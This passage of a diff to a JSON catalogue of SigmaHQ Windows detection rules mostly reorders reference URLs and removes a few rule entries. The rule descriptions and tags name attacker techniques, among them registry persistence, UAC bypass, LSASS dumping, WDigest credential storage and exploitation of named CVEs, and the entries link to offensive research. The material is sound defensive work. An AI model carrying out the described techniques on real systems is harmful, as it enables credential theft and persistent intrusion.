"44bbff3e-4ca3-452d-a49a-6efa4cafa06f", - "value": "Potential CVE-2021-42278 Exploitation Attempt" + "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", + "value": "KDC RC4-HMAC Downgrade CVE-2022-37966" }, { "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", @@ -14411,8 +14106,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/899646620148539397", "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://twitter.com/mattifestation/status/899646620148539397", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" ], "tags": [ @@ -14685,11 +14380,11 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", - "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", - "https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028ccb072f5e77ca287e0b/bloodhound/ad/domain.py#L427", "https://medium.com/falconforce/falconfriday-detecting-active-directory-data-collection-0xff21-c22d1a57494c", + "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", + "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", + "https://github.com/fox-it/BloodHound.py/blob/d65eb614831cd30f26028ccb072f5e77ca287e0b/bloodhound/ad/domain.py#L427", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" ], "tags": [ @@ -14738,9 +14433,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "Internal Research", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_uncommon_package_locations.yml" ], @@ -14764,9 +14459,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "Internal Research", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_package_locations.yml" ], @@ -14790,9 +14485,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "Internal Research", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_domains.yml" ], @@ -14816,9 +14511,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "Internal Research", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", "https://learn.microsoft.com/en-us/windows/win32/appxpkg/troubleshooting", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_susp_appx_package_installation.yml" ], @@ -14866,9 +14561,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", - "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxdeployment_server/win_appxdeployment_server_mal_appx_names.yml" ], "tags": [ @@ -15179,8 +14874,8 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_regedit_export_to_ads.yml" ], "tags": [ @@ -15541,9 +15236,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://www.dfirnotes.net/portproxy_detection/", - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://www.dfirnotes.net/portproxy_detection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" ], "tags": [ @@ -15578,8 +15273,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", "https://www.hexacorn.com/blog/2018/05/28/beyond-good-ol-run-key-part-78-2/", + "https://github.com/vxunderground/VXUG-Papers/blob/751edb8d50f95bd7baa730adf2c6c3bb1b034276/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf", "https://persistence-info.github.io/Data/recyclebin.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_persistence_recycle_bin.yml" ], @@ -15648,8 +15343,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml" ], "tags": [ @@ -15683,8 +15378,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", + "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" ], @@ -15753,8 +15448,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" ], "tags": [ @@ -15787,8 +15482,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", + "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" ], "tags": [ @@ -16026,8 +15721,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://github.com/eset/malware-ioc/tree/master/oceanlotus", "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", + "https://github.com/eset/malware-ioc/tree/master/oceanlotus", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml" ], "tags": [ @@ -16578,10 +16273,10 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", - "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", + "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", + "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" ], "tags": [ @@ -16656,8 +16351,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" ], "tags": [ @@ -16758,8 +16453,8 @@ "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer", - "https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html", "http://woshub.com/how-to-clear-rdp-connections-history/", + "https://www.trendmicro.com/en_us/research/23/a/vice-society-ransomware-group-targets-manufacturing-companies.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" ], "tags": [ @@ -16933,11 +16628,11 @@ "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.md", - "https://github.com/OTRF/detection-hackathon-apt29/issues/7", - "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", - "https://docs.microsoft.com/en-us/windows/win32/shell/launch", "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", + "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://github.com/OTRF/detection-hackathon-apt29/issues/7", + "https://docs.microsoft.com/en-us/windows/win32/shell/launch", + "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" ], "tags": [ @@ -17037,8 +16732,8 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/diskcleanuphandler.html", "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://persistence-info.github.io/Data/diskcleanuphandler.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_disk_cleanup_handler_entry.yml" ], "tags": [ @@ -17095,11 +16790,11 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", + "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_malware_netwire.yml" ], "tags": [ @@ -17165,8 +16860,8 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/amsi.html", "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c", + "https://persistence-info.github.io/Data/amsi.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_amsi_providers.yml" ], "tags": [ @@ -17256,8 +16951,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html", "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_server_level_plugin_dll.yml" ], "tags": [ @@ -17298,8 +16993,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", + "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", "https://twitter.com/Hexacorn/status/991447379864932352", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" ], @@ -17366,8 +17061,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", "https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", + "https://docs.microsoft.com/en-us/windows/win32/shell/app-registration?redirectedfrom=MSDN", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_app_paths.yml" ], "tags": [ @@ -17387,50 +17082,6 @@ "uuid": "707e097c-e20f-4f67-8807-1f72ff4500d6", "value": "Potential Persistence Via App Paths Default Property" }, - { - "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", - "meta": { - "author": "Sittikorn S, frack113", - "creation_date": "2021/07/16", - "falsepositive": [ - "Unlikely" - ], - "filename": "registry_set_cve_2021_31979_cve_2021_33771_exploits.yml", - "level": "critical", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2021_31979_cve_2021_33771_exploits.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1566", - "attack.t1203", - "cve.2021.33771", - "cve.2021.31979" - ] - }, - "related": [ - { - "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "32b5db62-cb5f-4266-9639-0fa48376ac00", - "value": "CVE-2021-31979 CVE-2021-33771 Exploits" - }, { "description": "Detect set Notification_Suppress to 1 to disable the windows security center notification", "meta": { @@ -17477,8 +17128,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", "https://persistence-info.github.io/Data/htmlhelpauthor.html", + "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_chm.yml" ], "tags": [ @@ -17575,8 +17226,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44", "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048", + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_unsafe_client_mail_rules.yml" ], "tags": [ @@ -17676,11 +17327,11 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc960241(v=technet.10)?redirectedfrom=MSDN", + "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "https://devblogs.microsoft.com/scripting/determine-pending-reboot-statuspowershell-style-part-1/", - "https://any.run/report/3ecd4763ffc944fdc67a9027e459cd4f448b1a8d1b36147977afaf86bbf2a261/64b0ba45-e7ce-423b-9a1d-5b4ea59521e6", "https://www.trendmicro.com/en_us/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html", + "https://any.run/report/3ecd4763ffc944fdc67a9027e459cd4f448b1a8d1b36147977afaf86bbf2a261/64b0ba45-e7ce-423b-9a1d-5b4ea59521e6", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_pendingfilerenameoperations.yml" ], "tags": [ @@ -17739,8 +17390,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" ], "tags": [ @@ -17773,13 +17424,13 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", - "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", "https://admx.help/HKLM/SOFTWARE/Policies/Microsoft/Windows%20NT/Terminal%20Services", "https://threathunterplaybook.com/hunts/windows/190407-RegModEnableRDPConnections/notebook.html", - "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "http://woshub.com/rds-shadow-how-to-connect-to-a-user-session-in-windows-server-2012-r2/", - "http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/", + "https://blog.menasec.net/2019/02/threat-hunting-rdp-hijacking-via.html", + "https://twitter.com/SagieSec/status/1469001618863624194?t=HRf0eA0W1YYzkTSHb-Ky1A&s=03", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_terminal_server_suspicious.yml" ], "tags": [ @@ -17846,8 +17497,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://twitter.com/malmoeb/status/1560536653709598721", + "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_turn_on_dev_features.yml" ], "tags": [ @@ -17872,8 +17523,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" ], "tags": [ @@ -17901,39 +17552,6 @@ "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298", "value": "Session Manager Autorun Keys Modification" }, - { - "description": "Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation.", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/05", - "falsepositive": [ - "Legitimate reminders received for a task or a note will also trigger this rule." - ], - "filename": "registry_set_exploit_cve_2023_23397_outlook_reminder_trigger.yml", - "level": "low", - "logsource.category": "registry_set", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_cve_2023_23397_outlook_reminder_trigger.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ] - }, - "related": [ - { - "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "fc06e655-d98c-412f-ac76-05c2698b1cb2", - "value": "Outlook Task/Note Reminder Received" - }, { "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", "meta": { @@ -17947,8 +17565,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", "https://persistence-info.github.io/Data/wer_debugger.html", + "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml" ], "tags": [ @@ -17994,8 +17612,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", "https://www.exploit-db.com/exploits/47696", + "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" ], "tags": [ @@ -18069,8 +17687,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" ], "tags": [ @@ -18103,9 +17721,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", "https://twitter.com/inversecos/status/1494174785621819397", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml" ], "tags": [ @@ -18222,8 +17840,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://vanmieghem.io/stealth-outlook-persistence/", "https://twitter.com/_vivami/status/1347925307643355138", + "https://vanmieghem.io/stealth-outlook-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_office_vsto.yml" ], "tags": [ @@ -18258,9 +17876,9 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" ], "tags": [ @@ -18361,8 +17979,8 @@ "logsource.product": "windows", "refs": [ "https://support.microsoft.com/en-us/topic/microsoft-security-advisory-update-to-improve-credentials-protection-and-management-may-13-2014-93434251-04ac-b7f3-52aa-9f951c14b649", - "https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html", "https://github.com/redcanaryco/atomic-red-team/blob/73fcfa1d4863f6a4e17f90e54401de6e30a312bb/atomics/T1112/T1112.md#atomic-test-3---modify-registry-to-store-logon-credentials", + "https://threathunterplaybook.com/hunts/windows/190510-RegModWDigestDowngrade/notebook.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml" ], "tags": [ @@ -18395,8 +18013,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" ], "tags": [ @@ -18541,8 +18159,8 @@ "logsource.product": "windows", "refs": [ "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml" ], "tags": [ @@ -18608,8 +18226,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", "https://github.com/last-byte/PersistenceSniper", + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" ], "tags": [ @@ -18708,8 +18326,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s", 